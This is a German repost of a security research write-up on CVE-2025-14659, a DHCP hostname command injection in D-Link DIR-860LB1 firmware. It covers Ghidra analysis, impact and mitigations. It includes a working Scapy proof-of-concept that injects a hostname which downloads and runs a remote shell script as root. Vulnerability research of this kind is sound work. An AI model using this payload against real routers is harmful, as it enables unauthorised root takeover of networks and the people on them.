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Vulnerability-DLink-CVE-2025-14659 — Statische Analyse (Ghidra) und benutzerdefiniertes Packet-Crafting (Scapy) zum Nachweis einer Root-Level-DHCP-Command-Injection-Schwachstelle (CVE-2025-14659) in D-Link-Firmware | Kitploit
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GitHubpeterlinccl/vulnerability-dlink-cve-2025-14659

Vulnerability-DLink-CVE-2025-14659

Statische Analyse (Ghidra) und benutzerdefiniertes Packet-Crafting (Scapy) zum Nachweis einer Root-Level-DHCP-Command-Injection-Schwachstelle (CVE-2025-14659) in D-Link-Firmware

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vor 14h 25mNoch nicht geprüft

CVE-2025-14659: D-Link DHCP-Daemon Command-Injection-Analyse

Recreate CVE Project | Offensive Security

Autor: Peter Lin
Datum: Mai 2026
Projektbeschreibung: CVE-2025-14659 meldete eine Command-Injection-Schwachstelle, die auf die DHCP-Daemon-Komponente im drahtlosen Router D-Link DIR-860LB1 mit der Firmware v203b03 abzielt. Diese Command-Injection könnte es einem Angreifer ermöglichen, beliebige Befehle mit Root-Rechten auf diesem Zielrouter auszuführen, wenn ein DHCP-Client einen bestehenden Lease mit einem bösartigen Hostnamen erneuert. Ich werde die Firmware des DIR-860LB1-Geräts extrahieren und die Schwachstelle im DHCP-Daemon (udhcpd) durch statische Analyse mit Ghidra identifizieren. Anschließend werde ich eine Emulations-Engine wie FirmAE nutzen, um die Umgebung dieses Routers zu emulieren und einen Proof-of-Concept-Angriff gegen dieses Ziel zu demonstrieren.


🔍 Schwachstellenübersicht

  • CVE-ID: CVE-2025-14659
  • CVSS-Score: 8.7 (Hoch)
  • Schwachstellentyp: CWE-77 (Command Injection)
  • Ziel-Binary: udhcpd (DHCP-Daemon)
  • Auswirkung: Unauthentifizierter Root-Zugriff über das lokale Netzwerk.

🔬 Ursache (Ghidra statische Analyse)

Betrachtet man die Funktion udhcpd_main in Ghidra, sitzt die Schwachstelle direkt im case 3-Block (DHCPREQUEST):

  1. Extraktion: Der Daemon entnimmt DHCP-Option 12 (Hostname) aus dem Client-Paket mittels get_option(auStack_254, 0xc).
  2. Verkettung: Falls ein Hostname vorhanden ist, wird er direkt über sprintf() in einen String-Puffer geschrieben:
    root@kitploit:~
    sprintf(acStack_454,"usockc /var/mydlinkeventd_usock NEW_DEVICE,%s,%s,%s\n", acStack_5f4, pcVar15, piVar12);
    
  3. Ausführung: Die Anwendung übergibt diesen rohen Puffer dann direkt an einen system()-Aufruf, ohne Shell-Zeichen zu bereinigen:
    root@kitploit:~
    system(acStack_454);
    

Da der Daemon als root läuft, ermöglicht das Einfügen von Shell-Metazeichen (wie ; oder |) in den Hostnamen einem Angreifer die Ausführung beliebiger Systembefehle.


🛠️ Proof-of-Concept-Skript (cve_poc.py)

Dieses funktionale Scapy-Skript simuliert einen bösartigen Client, der eine Lease-Erneuerung mit einer injizierten Hostnamen-Payload anfordert:

root@kitploit:~
from scapy.all import *

# ===== Configuration =====
iface = "tap1_0"                          
mac_address = "0a:6f:8c:38:03:52"        
requested_ip = "192.168.0.150"            
dhcp_server_ip = "192.168.0.1"            
attacker_server = "192.168.0.150:12345"   
# =========================

# Injected Hostname Payload
hostname = f"; wget http://{attacker_server}/exploit.sh ; sh exploit.sh ;"
mac_bytes = bytes.fromhex(mac_address.replace(":", ""))

dhcp_request = (
    Ether(src=mac_address, dst="ff:ff:ff:ff:ff:ff") /
    IP(src="0.0.0.0", dst="255.255.255.255") /
    UDP(sport=68, dport=67) /
    BOOTP(chaddr=mac_bytes, xid=0x81de4932) /   
    DHCP(options=[
        ("message-type", "request"),
        ("requested_addr", requested_ip),
        ("server_id", dhcp_server_ip),
        ("hostname", hostname),
        "end"
    ])
)

print("[*] Sending malicious DHCP REQUEST...")
sendp(dhcp_request, iface=iface, verbose=True)
print("[*] Packet sent. Check HTTP server logs.")

⚠️ Auswirkungen in der realen Welt

Wenn diese Schwachstelle in freier Wildbahn ausgenutzt wird, kann ein Angreifer sie für Folgendes verwenden:

  • Botnetz-Bereitstellung: Installieren bösartiger Binärdateien direkt im flüchtigen Speicher des Routers (/tmp), um die Hardware in DDoS-Netzwerke einzubinden.
  • DNS-Hijacking: Überschreiben interner DNS-Einstellungen, um lokale Benutzer still und leise auf bösartige Phishing-Seiten umzuleiten.
  • Laterale Bewegung: Nutzung des kompromittierten Edge-Routers als internen Pivot-Punkt, um andere Maschinen im lokalen Netzwerk zu scannen und anzugreifen.
  • Persistente Kontrolle: Installieren von Backdoors oder Manipulieren von Konfigurationsdateien, um unbefugten administrativen Zugriff in der gesamten lokalen Umgebung aufrechtzuerhalten.

🛑 Defensive Gegenmaßnahmen

  • Warnung zum Hardware-Lebenszyklus: D-Link hat das DIR-860LB1-Gerät als End-of-Life (EoL) eingestuft. Offizielle Hersteller-Patches werden dieses Problem voraussichtlich nicht beheben.
  • Kompensierende Sicherheitskontrollen:
    • Konfigurieren isolierter VLAN-Grenzen mit strikten Client-Isolationsfunktionen, um die unauthentifizierte Sichtbarkeit von DHCP-Endpunkten einzuschränken.
    • Systematische Außerbetriebnahme von EoL-Altgeräten und Upgrade auf aktiv unterstützte Hardwarekonfigurationen.

📚 Referenzen

  • NIST National Vulnerability Database
  • CVEDetails Vulnerability Profile

Haftungsausschluss: Dieses Projekt wurde ausschließlich zu Bildungszwecken, zum Portfolio-Aufbau und für defensive Sicherheitsforschung erstellt.

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